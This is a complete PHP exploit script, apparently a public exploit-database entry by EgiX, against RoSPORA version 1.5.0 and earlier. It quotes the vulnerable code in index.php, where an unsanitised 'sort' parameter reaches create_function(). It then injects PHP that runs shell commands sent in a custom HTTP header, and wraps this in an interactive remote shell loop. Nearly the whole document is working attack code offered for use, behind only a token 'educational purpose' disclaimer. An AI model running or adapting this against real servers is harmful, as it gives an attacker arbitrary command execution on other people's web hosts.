<?php
 
/*
    --------------------------------------------------
    RoSPORA <= 1.5.0 Remote PHP Code Injection Exploit
    --------------------------------------------------
     
    author...: EgiX
    mail.....: n0b0d13s[at]gmail[dot]com
    link.....: http://code.google.com/p/rospora/
     
    This PoC was written for educational purpose. Use it at your own risk.
    Author will be not responsible for any damage.
     
    [-] vulnerable code in /index.php
     
    667.    if (!$sort = &$_GET['s']) $sort=0;
    668.    if (!$flag = &$_GET['f']) $flag=0;
    669.    if ($flag==0)   {       $flag=1; $sort_type='<'; }
    670.                    else    {       $flag=0; $sort_type='>'; }
    671.    $link=$_SERVER['PHP_SELF']."?f=".$flag."&s=";
    672.   
    673.    if (!empty($pl_array))
    674.            {
    675.            usort($pl_array, create_function('$a, $b', 'if ( $a['.$sort.'] == $b['.$sort.'] ) return 0; if ( $a['.$sort.'] '.$sort_type.' $b['.$sort.'] ) return -1; return 1;'));
    676.            }
     
    Input parameter passed through $_GET['s'] isn't properly sanitised before being used in a call to
    "create_function()" at line 675. This can be exploited to inject and execute arbitrary PHP code.
 
*/
 
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
 
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
 
print "\n+------------------------------------------------------------+";
print "\n| RoSPORA <= 1.5.0 Remote PHP Code Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";
 
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] host path\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /rospora/\n";
    die();
}
 
$host = $argv[1];
$path = $argv[2];
 
$code    = "0]);}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23";
$packet  = "GET {$path}?s={$code} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
 
while(1)
{
    print "\nrospora-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
}
 
?>